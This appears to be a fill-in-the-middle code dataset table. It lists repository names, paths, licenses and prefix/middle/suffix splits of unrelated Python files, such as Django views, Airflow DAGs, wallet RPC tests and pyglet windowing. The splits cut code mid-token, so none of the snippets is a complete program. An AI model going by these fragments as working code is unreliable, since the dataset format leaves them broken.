repo_name stringlengths 5 100 | path stringlengths 4 231 | language stringclasses 1
value | license stringclasses 15
values | size int64 6 947k | score float64 0 0.34 | prefix stringlengths 0 8.16k | middle stringlengths 3 512 | suffix stringlengths 0 8.17k |
|---|---|---|---|---|---|---|---|---|
twobraids/configman_orginal | configman/converters.py | Python | bsd-3-clause | 8,414 | 0.00202 | # ***** BEGIN LICENSE BLOCK *****
# Version: MPL 1.1/GPL 2.0/LGPL 2.1
#
# The contents of this file are subject to the Mozilla Public License Version
# 1.1 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
# http://www.mozilla.org/MPL/
#
# Softwa... | turn re.compile(input_str)
compiled_regexp_type = type(re.compile(r'x'))
#------------------------------------------------------------------------------
from_string_converters = {int: int,
| float: float,
str: str,
unicode: unicode,
bool: boolean_converter,
datetime.datetime: dtu.datetime_from_ISO_string,
datetime.date: dtu.date_from_ISO_string,
datetim... |
mesemus/fedoralink | fedoralink/views.py | Python | apache-2.0 | 15,936 | 0.002322 | import inspect
import requests
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.core.urlresolvers import reverse
from django.db.models import Q
from django.http import HttpResponseRedirect, FileResponse, Http404, HttpResponse
from django.shortcuts import render
from django.template i... | aTemplateMixin:
def get_template_names(self):
if self.object:
templates = [fullname(x).replace('.', '/') + '/_' + self.template_type + '.html'
for x in inspect.getmro(type(self.object))]
templates. | append(self.template_name)
return templates
return super().get_template_names()
class GenericDownloadView(View):
model = None
def get(self, request, bitstream_id):
attachment = self.model.objects.get(pk=bitstream_id.replace('_', '/'))
bitstream = attachment.get_bitstream()... |
PointyShinyBurning/cpgintegrate | cpgintegrate/airflow/__init__.py | Python | agpl-3.0 | 788 | 0.005076 | from airflow import DAG
from cpgintegrate.airflow.cpg_airflow_plugin import CPGDatasetToXCom, XComDatasetToCkan
def dataset_list_subdag(dag_id, start_date, connector_class, connection_id, | ckan_connection_id, ckan_package_id, pool,
dataset_list):
subdag = DAG(dag_id, start_date=start_date)
with subdag as dag:
for d | ataset in dataset_list:
pull = CPGDatasetToXCom(task_id=dataset, connector_class=connector_class, connection_id=connection_id,
dataset_args=[dataset], pool=pool)
push = XComDatasetToCkan(task_id=dataset + '_ckan_push',
ckan... |
TeskeVirtualSystem/CloneInterface | clone.py | Python | gpl-2.0 | 8,341 | 0.031066 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
###################################
# _______ ______ #
# |_ _\ \ / / ___| #
# | | \ \ / /\___ \ #
# | | \ V / ___) | #
# |_| \_/ |____/ #
# #
####################... | #FFFFFF"> \
<tr> \
<th width="34" height="19" valign="top">ID</td> \
<th width="93" valign="top">Tamanho</td> \
<th width="106" valign="top">Tipo</td> \
<th width="160" valign="top">Sistema de Arquivos </td> \
<th width="109" valign="top">Sinalizador</td> \
</tr> '
dk = data.split('\ | n')
for line in dk:
id, inicio, fim, tamanho, tipo, fs, sig = ProcessDiskData(line)
base += '<tr><td height="19" valign="top"><center>'+id+'</center></td><td valign="top"><center>'+tamanho+'</center></td><td valign="top"><center>'+ ProcessType(tipo)+'</center></td><td valign="top"><center>'+fs.upper()+'</center></... |
ionomy/ion | test/functional/wallet-accounts.py | Python | mit | 5,217 | 0.00345 | #!/usr/bin/env python3
# Copyright (c) 2016 The Bitcoin Core developers
# Copyright (c) 2018-2020 The Ion Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test account RPCs.
RPCs tested are:
- getaccountaddre... | endfrom("", address, amount_to_send)
node.generate(1)
for i in range(len(accounts)):
from_account = acco | unts[i]
to_account = accounts[(i+1) % len(accounts)]
to_address = account_addresses[to_account]
node.sendfrom(from_account, to_address, amount_to_send)
node.generate(1)
for account in accounts:
address = node.getaccountaddress(account)
... |
CyberReboot/vcontrol | tests/test_rest_providers_remove.py | Python | apache-2.0 | 2,487 | 0.00201 | """ Test for t | he remove.py module in the vcontrol/rest/providers directory """
from os import remove as delete_file
from web import threadeddict
from vcontrol.rest.providers import remove
PROVIDERS_FILE_PATH = "../vcontrol/rest/providers/providers.txt"
class ContextDummy():
env = threadeddict()
env['HTTP_HOST'] = 'localh... | t_successful_provider_removal():
""" Here we give the module a text file with PROVIDER: written in it,
it should remove that line in the file """
remove_provider = remove.RemoveProviderR()
remove.web = WebDummy() # override the web variable in remove.py
test_provider = "PROV"
expected_prov... |
jiadaizhao/LeetCode | 0101-0200/0131-Palindrome Partitioning/0131-Palindrome Partitioning.py | Python | mit | 711 | 0.002813 | class Solution:
def partition(self, s: str) -> List[List[str]]:
palindrome = [[False]*len(s) for _ in | range(len(s))]
for j in range(len(s)):
for i in range(j + 1):
if s[i] == s[j] and (j - i < 2 or palindrome[i+1][j-1]):
palindrome[i][j] = True
result = []
path = []
def dfs(start):
if start == len(s):
result.appe... | dfs(i + 1)
path.pop()
dfs(0)
return result
|
googleads/googleads-python-lib | examples/ad_manager/v202111/activity_group_service/update_activity_groups.py | Python | apache-2.0 | 2,745 | 0.0051 | #!/usr/bin/env python
#
# Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | cable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CON | DITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This code example updates activity groups.
To determine which activity groups exist, run get_all_activity_groups.py.
The LoadFromStorage method is pulling credenti... |
sjpfenninger/sandpile | sandpile/cluster.py | Python | mit | 4,792 | 0.000626 | """
Run on cluster
"""
import argparse
import os
import itertools
import networkx as nx
import pandas as pd
from . import compare_cases
def generate_run(graph, iterations, epsilon_control, epsilon_damage,
out_dir, nodes=None, mem=6000, runtime=120, activate=''):
"""
Generate bash scripts ... | '#BSUB -W {runtime}\n'
'#BSUB -o logs/run_%I.log\n\n'.format(name=name,
to=index + 1,
mem=mem,
runtime=runtime))
bsu... | LSB_JOBINDEX}\n'
qsub_run_str = ('#!/bin/sh\n'
'#$ -t 1-{to}\n'
'#$ -N {name}\n'
'#$ -j y -o logs/run_$TASK_ID.log\n'
'#$ -l mem_total={mem:.1f}G\n'
'#$ -cwd\n'.format(name=name, to=index + 1,
... |
django-blog-zinnia/zinnia-twitter | setup.py | Python | bsd-3-clause | 1,097 | 0 | """Setup script of zinnia-twitter"""
from setuptools import setup
from setuptools import find_packages
import zinnia_twitter
setup(
name='zinnia-twitter',
version=zinnia_twitter.__version__,
description='Twitter plugin for django-blog-zinnia',
long_description=open('README.rst').read(),
keywords... | zinnia, twitter',
author=zinnia_twitter.__author__,
author_email=zinnia_twitter.__email__,
ur | l=zinnia_twitter.__url__,
packages=find_packages(exclude=['demo_zinnia_twitter']),
classifiers=[
'Framework :: Django',
'Development Status :: 5 - Production/Stable',
'Environment :: Web Environment',
'Programming Language :: Python',
'Programming Language :: Python :: 3... |
cbartz/swift-s3auth | s3auth/middleware.py | Python | apache-2.0 | 16,590 | 0.000121 | # Copyright 2017 Christopher Bartz <[email protected]>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | _
return inner
class S3Auth(object):
def __init__(self, app, conf):
self.app = app
self.logger = get_logger(conf, log_route='s3auth')
self.auth_prefix = conf.get('auth_prefix', '/s3auth/')
if not self.auth_prefix:
self.auth_prefix = '/s3auth/'
if self.auth_p... | if self.auth_prefix[-1] != '/':
self.auth_prefix += '/'
self.reseller_prefix = (conf.get('reseller_prefix', 'AUTH_').
rstrip('_') + '_')
self.auth_account = "{}.s3auth".format(self.reseller_prefix)
self.akd_container_url = '/v1/{}/akeydetails/'.f... |
certik/sympy-oldcore | sympy/plotting/pyglet/window/__init__.py | Python | bsd-3-clause | 54,133 | 0.00133 | # ----------------------------------------------------------------------------
# pyglet
# Copyright (c) 2006-2007 Alex Holkner
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistribu... | t ...
Within your main run loop, you must call `Window.dispatch_events` regularly.
Windows are double-buffered by default, so you must call `Window.flip` to
update the display::
while not win.has_exit:
win.dispatch_events()
# ... drawing commands ... |
win.flip()
Creating a game window
----------------------
Use `Window.set_exclusive_mouse` to hide the mouse cursor and receive relative
mouse movement events. Specify ``fullscreen=True`` as a keyword argument to
the `Window` constructor to render to the entire screen rather than opening a
window::
win ... |
ValyrianTech/BitcoinSpellbook-v0.3 | unittests/test_authentication.py | Python | gpl-3.0 | 3,052 | 0.00557 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import pytest
import mock
import authentication
NONCE = 1
class TestAuthentication(object):
headers = None
data = None
def setup(self):
global NONCE
authentication.load_from_json_file = mock.MagicMock(return_value={'foo': {'secret': 'bar1'}... | I_Sign': authentication.signature(self.data, NONCE, 'bar1'),
'API_Nonce': NONCE}
def test_check_authentication_with_valid | _headers_and_data(self):
assert authentication.check_authentication(self.headers, self.data) == authentication.AuthenticationStatus.OK
def test_check_authentication_with_valid_headers_and_data_but_the_same_nonce(self):
self.headers['API_Sign'] = authentication.signature(self.data, NONCE-1, 'bar1')
... |
unicef/un-partner-portal | backend/unpp_api/apps/partner/migrations/0005_partner_country_presents.py | Python | apache-2.0 | 733 | 0.001364 | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-08-28 07:07
from __future__ import unicode_literals
import django.contrib.postgres.fields
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('partner', '0004_auto_20170814_0841'),
]
opera... | el_name='partner',
name='count | ry_presents',
field=django.contrib.postgres.fields.ArrayField(base_field=models.CharField(choices=[('Ara', 'Arabic'), ('Chi', 'Chinese'), ('Eng', 'English'), ('Fre', 'French'), ('Rus', 'Russian'), ('Spa', 'Spanish'), ('Oth', 'Other')], max_length=2), default=list, null=True, size=None),
),
]
|
DmitrySPetrov/simulation_g11 | l06/12.py | Python | mit | 1,229 | 0.007833 | # Задача №1:
# Сформировать массив из N эле | ментов вида [1,2,3,4,...N]
#
# Вариант решения №2, через превращение range() в массив
#
# =!!= Запускать с помощью Python3 =!!=
# Указываем количество
N = | 10
# Создаем массив
A = [ *range(1,N+1) ]
# Выводим A
print( A )
# Пояснения:
# 1) range(1,N+1) создает последовательность 1,2,3...N
# 2) с точки зрения языка программирования, range(...) создает объект,
# который будет превращаться в последовательность не сразу, а тогда,
# когда его вызовут, в связи с чем пе... |
GbalsaC/bitnamiP | venv/lib/python2.7/site-packages/sympy/solvers/tests/test_recurr.py | Python | agpl-3.0 | 3,721 | 0.013169 | from sympy import Function, symbols, S, sqrt, rf, factorial
from sympy.solvers.recurr import rsolve, rsolve_poly, rsolve_ratio, rsolve_hyper
y = Function('y')
n, k = symbols('n,k', integer=True)
C0, C1, C2 = symbols('C0,C1,C2')
def test_rsolve_poly():
assert rsolve_poly([-1, -1, 1], 0, n) == 0
assert rsolve_p... | -3 + 2*n)/(-1 + n**2)),
(S(1)/2)*(C2*( 3 - 2*n)/( 1 - n**2)),
]
def test_rsolve_hyper():
assert rsolve_hyper([-1, -1, 1], 0, n) in [
C0*(S.Half - S.Half*sqrt(5))**n + C1*(S.Half + S.Half*sqrt(5))**n,
C1*(S.Half - S.Half*sqrt(5))**n + C0*(S.Half + S.Half*sqrt(5))**n,
]
assert rs... | in [
C0*rf(sqrt(2), n) + C1*rf(-sqrt(2), n),
C1*rf(sqrt(2), n) + C0*rf(-sqrt(2), n),
]
assert rsolve_hyper([n**2-k, -2*n-1, 1], 0, n) in [
C0*rf(sqrt(k), n) + C1*rf(-sqrt(k), n),
C1*rf(sqrt(k), n) + C0*rf(-sqrt(k), n),
]
assert rsolve_hyper([2*n*(n+1), -n**2-3*n+2, n-1]... |
TheTimmy/spack | lib/spack/external/py/_path/local.py | Python | lgpl-2.1 | 32,583 | 0.001442 | """
local path implementation.
"""
from __future__ import with_statement
from contextlib import contextmanager
import sys, os, re, atexit, io
import py
from py._path import common
from py._path.common import iswin32, fspath
from stat import S_ISLNK, S_ISDIR, S_ISREG
from os.path import abspath, normpath, isabs, exist... | error.ELOOP:
self._statcache = self.path.lstat()
return self._statcache
def dir(self):
return S_ISDIR(self._stat().mode)
def file(self):
return S_ISREG(self._stat().mode)
def exists(self):
return self._stat()
def... | .mode)
def __init__(self, path=None, expanduser=False):
""" Initialize and return a local Path instance.
Path can be relative to the current directory.
If path is None it defaults to the current working directory.
If expanduser is True, tilde-expansion is performed.
Note th... |
ingadhoc/stock | stock_request_ux/models/stock_move.py | Python | agpl-3.0 | 1,308 | 0.000765 | ##############################################################################
# For copyright and license notices, see __manifest__.py file in module root
# directory
############################# | #################################################
from odoo import models, fields
class StockMove(models.Model):
_inherit = 'stock.move'
request_order_id = fields.Many2one(
related='stock_request_ids.order_id',
)
def _split(self, qty, restrict_partner_id=False):
""" When we are on a... | quantities
"""
new_move_id = super()._split(qty, restrict_partner_id=restrict_partner_id)
remaining_to_allocate = qty
for allocation in self.allocation_ids:
if not remaining_to_allocate:
break
to_allocate = min(
remaining_to_alloca... |
MontrealCorpusTools/PolyglotDB | polyglotdb/exceptions.py | Python | mit | 6,861 | 0.002186 |
# Base exception classes
class PGError(Exception):
"""
Base class for all exceptions explicitly raised in PolyglotDB.
"""
def __init__(self, value):
self.value = value
def __repr__(self):
return '{}: {}'.format(type(self).__name__, self.value)
def __str__(self):
ret... | ddresses
"""
pass
class TemporaryConnectionError( | PGError):
"""
Exception class for transient connection errors
"""
pass
class SubsetError(PGError):
"""
Exception class for not finding a specified subset
"""
pass
class HierarchyError(PGError):
"""
Exception class for Hierarchy errors
"""
pass
class ClientError(PGEr... |
stupidnetizen/redflare | redflare/plugins/example/example.py | Python | gpl-3.0 | 5,659 | 0.014667 | """This is an example plugin for redflare."""
"""
This is a simple plugin to add some basic functionality.
"""
import sys, os
from pkg_resources import get_distribution
import logging
from cement import namespaces
from cement.core.log import get_logger
from cement.core.opt import init_parser
from cement.core.hook im... | ion = VERSION,
description = 'Example plugin for redflare | ',
required_abi = REQUIRED_CEMENT_ABI,
version_banner=BANNER,
)
# plugin configurations can be setup this way
self.config['example_option'] = False
# plugin cli options can be setup this way. Generally, cli options
# are used to set ... |
oculusstorystudio/kraken | Python/kraken/core/kraken_system.py | Python | bsd-3-clause | 13,241 | 0.002643 | """KrakenSystem - objects.kraken_core module.
Classes:
KrakenSystem - Class for constructing the Fabric Engine Core client.
"""
import logging
import os
import sys
import json
import importlib
from collections import OrderedDict
import FabricEngine.Core
# import kraken
from kraken.core.profiler import Profiler
fro... | lient
from kraken.log import getLogger
from kraken.log.utils import fabricCallback
logger = getLogger('kraken')
class KrakenSystem(object):
"""The KrakenSystem is a singleton object used to provide an interface with
the FabricEngine Core and RTVal system."""
__instance = None
def __init__(s | elf):
"""Initializes the Kraken System object."""
super(KrakenSystem, self).__init__()
self.client = None
self.typeDescs = None
self.registeredTypes = None
self.loadedExtensions = []
self.registeredConfigs = OrderedDict()
self.registeredComponents = Ord... |
jlisee/xpkg | python/xpkg/paths.py | Python | bsd-3-clause | 381 | 0 | # Author: Joseph Lisee <[email protected]>
__doc__ = """
Functions to return common xpkg paths.
"""
# Python Imports
import os
def ld_linux_path(root):
"""
Returns the path to our major ld-so syml | ink. (Which allows us to change
which ld-so we are actively using without patching | a bunch of binaries)
"""
return os.path.join(root, 'lib', 'ld-linux-xpkg.so')
|
plotly/python-api | packages/python/plotly/plotly/validators/isosurface/caps/_x.py | Python | mit | 1,178 | 0.000849 | import _plotly_utils.basevalidators
class XValidator(_plotly_utils.basevalidators.CompoundValidator):
def __init__(self, plotly_name="x", parent_name="isosurface.caps", **kwargs):
super(XValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
data_c... | ps`. The default
fill value of the `caps` is 1 meaning that they
are entirely shaded. On the other hand Applying
a `fill` ratio less than one would allow the
creation of openings parallel to the edges.
show
Sets the fill r | atio of the `slices`. The
default fill value of the x `slices` is 1
meaning that they are entirely shaded. On the
other hand Applying a `fill` ratio less than
one would allow the creation of openings
parallel to the edges.
""",
... |
timvandermeij/mobile-radio-tomography | environment/VRML_Loader.py | Python | gpl-3.0 | 4,378 | 0.001827 | import os
import numpy as np
from vrml.vrml97 import basenodes, nodetypes, parser, parseprocessor
class VRML_Loader(object):
"""
Parser for VRML files. The VRML language is described in its specification
at http://www.web3d.org/documents/specifications/14772/V2.0/index.html
"""
def __init__(self, ... | # reason. See vrml.vrml97.transformmatrix, e.g. line 319.
point = np.dot(transform.T, np.append(point, 1).T)
# Convert to Location
# VRML geometry notation is in (x,z,y) where y is the vertical
# axis (using GL notation here | ). We have to convert it to
# (z,x,y) since the z/x are related to distances on the ground
# in north and east directions, respectively, and y is still
# the altitude.
north = point[1] + self.translation[0]
east = point[0] - self.transla... |
sevein/archivematica | src/dashboard/src/main/migrations/0007_django_upgrade_tweaks.py | Python | agpl-3.0 | 4,909 | 0.003056 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('main', '0006_levelofdescription'),
]
operations = [
migrations.AlterField(
model_name='agent',
name=... | tifierValue and premis:linkingAgentIdentifierValue in the METS file.', null=True, verbose_name=b'Agent Identifier Value', db_column=b'agentIdentifierValue'),
preserve_default=Tru | e,
),
migrations.AlterField(
model_name='agent',
name='name',
field=models.TextField(help_text=b'Used for premis:agentName in the METS file.', null=True, verbose_name=b'Agent Name', db_column=b'agentName'),
preserve_default=True,
),
migrati... |
h4wkmoon/shinken | test/shinken_test.py | Python | agpl-3.0 | 14,045 | 0.002563 | #!/usr/bin/env python
#
# This file is used to test host- and service-downtimes.
#
import sys
import time
import datetime
import os
import string
import re
import random
import unittest
import copy
# import the shinken library from the parent directory
import __import_shinken ; del __import_shinken
import shinken
f... | if isinstance(b, ExternalCommand):
self.sched.run_external_command(b.cmd_line)
def fake_check(self, ref, exit_status, output="OK"):
#print "fake", ref
now = time.time()
ref.schedule(force=True)
# now checks are schedule and we get them in
# the action queue... | ws to force check scheduling without setting its status nor
# output. Useful for manual business rules rescheduling, for instance.
if exit_status is None:
return
# fake execution
check.check_time = now
# and lie about when we will launch it because
|
mughanibu/Deep-Learning-for-Inverse-Problems | tf_unet/image_gen.py | Python | mit | 3,652 | 0.008215 | # tf_unet is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# tf_unet is distributed in the hope that it will be useful,
# but WITHOUT ... | (image)
if rectangles:
ret | urn image, label
else:
return image, label[..., 1]
def to_rgb(img):
img = img.reshape(img.shape[0], img.shape[1])
img[np.isnan(img)] = 0
img -= np.amin(img)
img /= np.amax(img)
blue = np.clip(4*(0.75-img), 0, 1)
red = np.clip(4*(img-0.25), 0, 1)
green= np.clip(44*np.fabs(img... |
hofmeist/fabm-ihf | src/drivers/python/pyfabm/utils/fabm_describe_model.py | Python | gpl-2.0 | 1,910 | 0.019372 | #!/usr/bin/e | nv python
import sys
import argparse
try:
import pyfabm
except ImportError:
print 'Unable to load pyfabm. See https://github.com/fabm-model/code/wiki/python.'
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description='This script lists a | ll state variables, diagnostic variables, conserved quantities and environmental dependencies of a biogeochemical model.')
parser.add_argument('path',help='Path to a YAML file with the model configuration (typically fabm.yaml)',nargs='?',default='fabm.yaml')
args = parser.parse_args()
# Create model object... |
qiyuangong/leetcode | python/087_Scramble_String.py | Python | mit | 3,034 | 0.002966 | class Solution(object):
#https://discuss.leetcode.com/topic/20094/my-c-solutions-recursion-with-cache-dp-recursion-with-cache-and-pruning-with-explanation-4ms/2
# def isScramble(self, s1, s2):
# """
# :type s1: str
# :type s2: str
# :rtype: bool
# """
# # recursiv... | if s1 == s2:
return True
if (s1, s2) in memo:
return memo[s1, s2]
n = len(s1)
for i in range(1, n):
a = self.isScramble(s1[:i], s2[:i], memo) and self.isScramble(s1[i:], s2[i:], memo)
if not a:
b = self.isScramble(s1[:i], s2[-i:]... | s2] = True
return True
memo[s1, s2] = False
return False
# def isScramble(self, s1, s2):
# # dp TLE
# if s1 == s2:
# return True
# if len(s1) != len(s2):
# return False
# ls = len(s1)
# letters = [0] * 26
# for... |
cheral/orange3 | Orange/widgets/data/owcreateclass.py | Python | bsd-2-clause | 20,686 | 0.000242 | """Widget for creating classes from non-numeric attribute by substrings"""
import re
from itertools import count
import numpy as np
from AnyQt.QtWidgets import QGridLayout, QLabel, QLineEdit, QSizePolicy
from AnyQt.QtCore import QSize, Qt
from Orange.data import StringVariable, DiscreteVariable, Domain
from Orange.d... |
"""
Transform the given data.
Args:
c (np.array): an array of type that can be cast to dtype `str`
Returns:
np.array of floats representing indices of matched patterns
"""
nans = np.equal(c, None)
c = c.astype(str)
c[nans] = ""
... | teSubstring(Lookup):
"""
Transformation that computes a discrete variable from discrete variable by
pattern matching.
Say that the original attribute has values
`["abcd", "aa", "bcd", "rabc", "x"]`. Given patterns
`["abc", "a", "bc", ""]`, the values are mapped to the values of the new
attr... |
schacki/cookiecutter-django | {{cookiecutter.project_slug}}/docs/conf.py | Python | bsd-3-clause | 8,166 | 0.00147 | # -*- coding: utf-8 -*-
#
# {{ cookiecutter.project_name }} documentation build configuration file, created by
# sphinx-quickstart.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All con... | used to convert quotes and dashes to
# typographically correct entities.
# html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
# html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
# html_additiona | l_pages = {}
# If false, no module index is generated.
# html_domain_indices = True
# If false, no index is generated.
# html_use_index = True
# If true, the index is split into individual pages for each letter.
# html_split_index = False
# If true, links to the reST sources are added to the pages.
# html_show_sour... |
bilke/OpenSG-1.8 | SConsLocal/scons-local-0.96.1/SCons/Platform/win32.py | Python | lgpl-2.1 | 13,583 | 0.006331 | """SCons.Platform.win32
Platform-specific initialization for Win32 systems.
There normally shouldn't be any need to import this module directly. It
will usually be imported through the generic SCons.Platform.Platform()
selection method.
"""
#
# Copyright (c) 2001, 2002, 2003, 2004 The SCons Foundation
#
# Permissio... |
# here should work for most cases:
# In case stdout (stderr) is not redirected to a file,
# we redirect it into a temporary file tmpFileStdout
# (tmpFileStderr) and copy the contents of t | his file
# to stdout (stderr) given in the argument
if not sh:
sys.stderr.write("scons: Could not find command interpreter, is it in your PATH?\n")
return 127
else:
# one temporary file for stdout and stderr
tmpFileStdout = os.path.normpath(tempfile.mktemp())
tmpFil... |
rnixx/chronotope | src/chronotope/model/facility.py | Python | gpl-2.0 | 4,882 | 0 | from chronotope.model.base import PublicationWorkflowBehavior
from chronotope.model.base import SQLBase
from chronotope.model.category import CategoryRecord
from chronotope.model.location import LocationRecord
from chronotope.utils import ensure_uuid
from chronotope.utils import html_index_transform
from cone.app.model... | cility, self).properties
props.action_up = True
props.action_up_tile = 'listing'
props.action_view = True
props.action_edit = True
props.action_delete = True
return props
@property
def metadata(self):
md = Metad | ata()
md.title = self.attrs['title']
md.description = self.attrs['description']
md.creator = self.attrs['creator']
md.created = self.attrs['created']
md.modified = self.attrs['modified']
return md
@node_info(
name='facilities',
title=_('facilities_label', defaul... |
Opendigitalradio/etisnoop | yamlexample.py | Python | gpl-3.0 | 401 | 0.002494 | #!/usr/bin/env python
#
# An | example on how to read the YAML output from etisnoop
# Pipe etisnoop to this script
#
# License: public domain
import sys
import yaml
for frame in yaml.load_all(sys.stdin):
print("FIGs in frame {}".format(frame['Frame']))
for fib in frame['LIDATA']['FIC']:
if fib['FIGs']:
for fig in fib['F... | G'])
|
diofeher/django-nfa | tests/regressiontests/views/urls.py | Python | bsd-3-clause | 1,686 | 0.016014 | from os import path
from django.conf.urls.defaul | ts import *
from models import *
import views
base_dir = path.dirname(path.abspath(__file__))
media_dir = path.join(base_dir, 'media')
locale_dir = path.join(base_dir, 'locale')
js_info_dict = {
'domain': 'djangojs',
'packages': ('regressiontests.views',),
}
date_based_info_dict = {
'queryset': Article... |
}
urlpatterns = patterns('',
(r'^$', views.index_page),
# Default views
(r'^shortcut/(\d+)/(.*)/$', 'django.views.defaults.shortcut'),
(r'^non_existing_url/', 'django.views.defaults.page_not_found'),
(r'^server_error/', 'django.views.defaults.server_error'),
# i18n views
(r'^i18... |
1modm/mesc | include/serverinfo/tcpip.py | Python | bsd-3-clause | 7,349 | 0.004726 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
__license__ = """
███╗ ███╗███████╗███████╗ ██████╗
████╗ ████║██╔════╝██╔════╝██╔════╝
██╔████╔██║█████╗ ███████╗██║
██║╚██╔╝██║██╔══╝ ╚════██║██║
██║ ╚═╝ ██║███████╗███████║╚██████╗
╚═╝ ╚═╝╚══════╝╚══════╝ ╚═════╝
MESC: Minimun Essential Security Checks
Author... | __output__ = __recommendations__
else:
__output__ = config.CHECKRESULTOK
__cmd__ = __file__
if __type__ == "check_file_exact_load":
__file__ = data["distribution"][__distribution__]["file"]
__check__ = [data["distribution"][... | l__, __host__, __user__, __passwd__, __port__)
if not __cmd_check__:
__command_check__ = config.CHECKRESULTERROR
__cmd__ = __file__
else:
__command_check__, __line__, __linehtml__, __check_count__ =\
check_file_exact(__... |
adcomp/super-fruit-pie | tuto/06_collect.py | Python | mit | 7,778 | 0.0027 | #!/usr/bin/python
# -*- coding: utf-8 -*-
# David Art <[email protected]>
# Program Arcade Games With Python And Pygame - Build a Platformer
# http://programarcadegames.com
import pygame
import random
WIDTH = 640
HEIGHT = 480
class Platform (pygame.sprite.Sprite):
def __init__(self, width, he... | self.image = pygame.image.load('images/raspberry.png')
self.rect = self.image.get_rect()
class Player(pygame.sprite.Sprite):
change_x = 0
change_y = 0
jump_ok = True
frame_since_collision = 0
def __init__(self, x, y):
pygame.sprite.Sprite.__init__(self)
se... | ct()
self.rect.x = x
self.rect.y = y
def update(self,blocks, raspberries):
self.rect.x += self.change_x
# check collision with raspberries
block_hit_list = pygame.sprite.spritecollide(self, raspberries, False)
for raspberry in block_hit_list:
r... |
davidrpugh/pyCollocation | pycollocation/solvers/solutions.py | Python | mit | 1,746 | 0.000573 | """
Classes for representing solutions to boundary value problems.
@author : davidrpugh
"""
class SolutionLike(object):
@property
def basis_kwargs(self):
return self._basis_kwargs
@property
def functions(self):
return self._functions
@property
def nodes(self):
retu... | is_kwargs = basis_kwargs
self._functions = functions
self._nodes = nodes
self._problem = | problem
self._residual_function = residual_function
self._result = result
def evaluate_residual(self, points):
return self.residual_function(points)
def evaluate_solution(self, points):
return [f(points) for f in self.functions]
def normalize_residuals(self, points):
... |
thor/django-localflavor | localflavor/uy/util.py | Python | bsd-3-clause | 350 | 0 | # -*- coding: utf-8 -*-
def get_validation_digit(number):
"""Calculates the validation di | git for the given number."""
weighted_sum = 0
dvs = [4, 3, 6, 7, 8, 9, 2]
number = str(number)
for i in range(0, len(number)):
weighted_sum = (int(number[-1 - i]) * dvs[i] + weighted_sum) % 10
return (10 - we | ighted_sum) % 10
|
herow/planning_qgis | python/plugins/processing/algs/lidar/lastools/flightlinesToDTMandDSM.py | Python | gpl-2.0 | 6,225 | 0.002088 | # -*- coding: utf-8 -*-
"""
***************************************************************************
flightlinesToDTMandDSM.py
---------------------
Date : April 2014
Copyright : (C) 2014 by Martin Isenburg
Email : martin near rapidlasso point com
******... | self.addParametersTemporaryDirectoryAsInputFilesCommands(commands, base_name+"*_g.laz")
commands.append("-first_only")
self.addParametersStepCommands(commands)
commands.append("-use_tile_bb")
self.addParametersOutputDirectoryCommands(commands)
commands.append("-ocut")
... | asterOutputFormatCommands(commands)
self.addParametersCoresCommands(commands)
LAStoolsUtils.runLAStools(commands, progress)
|
jackey-qiu/genx_pc_qiu | geometry_modules/trigonal_pyramid_distortion_B.py | Python | gpl-3.0 | 12,062 | 0.044354 | import numpy as np
from numpy.linalg import inv
import os
#the original version has been saved as B3 just in case
#here only consider the distortion caused by length difference of three edges, it is a tectrahedral configuration basically, but not a regular one
#since the top angle can be any value in [0,2*pi/3]
x0_v,y... | elf.p2[0],self.p2[1],self.p2[2])
f.write(s)
f.close()
#steric_check will check the steric feasibility by changing the rotation angle (0-2pi) and top angle (0-2pi/3)
#the dist bw sorbate(both metal and oxygen) and atms (defined on top | ) will be cal and compared to the cutting_limit
#higher cutting limit will result in more items in return file (so be wise to choose cutting limit)
#the container has 9 items, ie phi (rotation angle), top_angle, low_dis, apex coors (x,y,z), os coors(x,y,z)
#in which the low_dis is the lowest dist between sorbate and at... |
sysadminmatmoz/odoo-clearcorp | account_banking_ccorp/bank_statement.py | Python | agpl-3.0 | 3,896 | 0.00308 | # -*- encoding: utf-8 -*-
##############################################################################
#
# Copyright (C) 2009 EduSense BV (<http://www.edusense.nl>).
# All Rights Reserved
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Publi... | eriod_id']),
]
_columns = {
# override this field *only* to replace the
# function method with the one from this module.
# Note that it is defined twice, both in
# account/account_bank_statement.py (witho | ut 'store') and
# account/account_cash_statement.py (with store=True)
'balance_end': fields.function(_end_balance, method=True,
store=True, string='Balance'),
'banking_id': fields.many2one('account.banking.ccorp.imported.file... |
rutgers-apl/alive-loops | debug_count.py | Python | apache-2.0 | 1,582 | 0.017699 | '''Find all 2-cycles.
'''
from loops import *
import traceback
import logging
logging.basicConfig(filename='debug_count.log', filemode='w', level=logging.WARNING)
sys.stderr.write('reading master.opt\n')
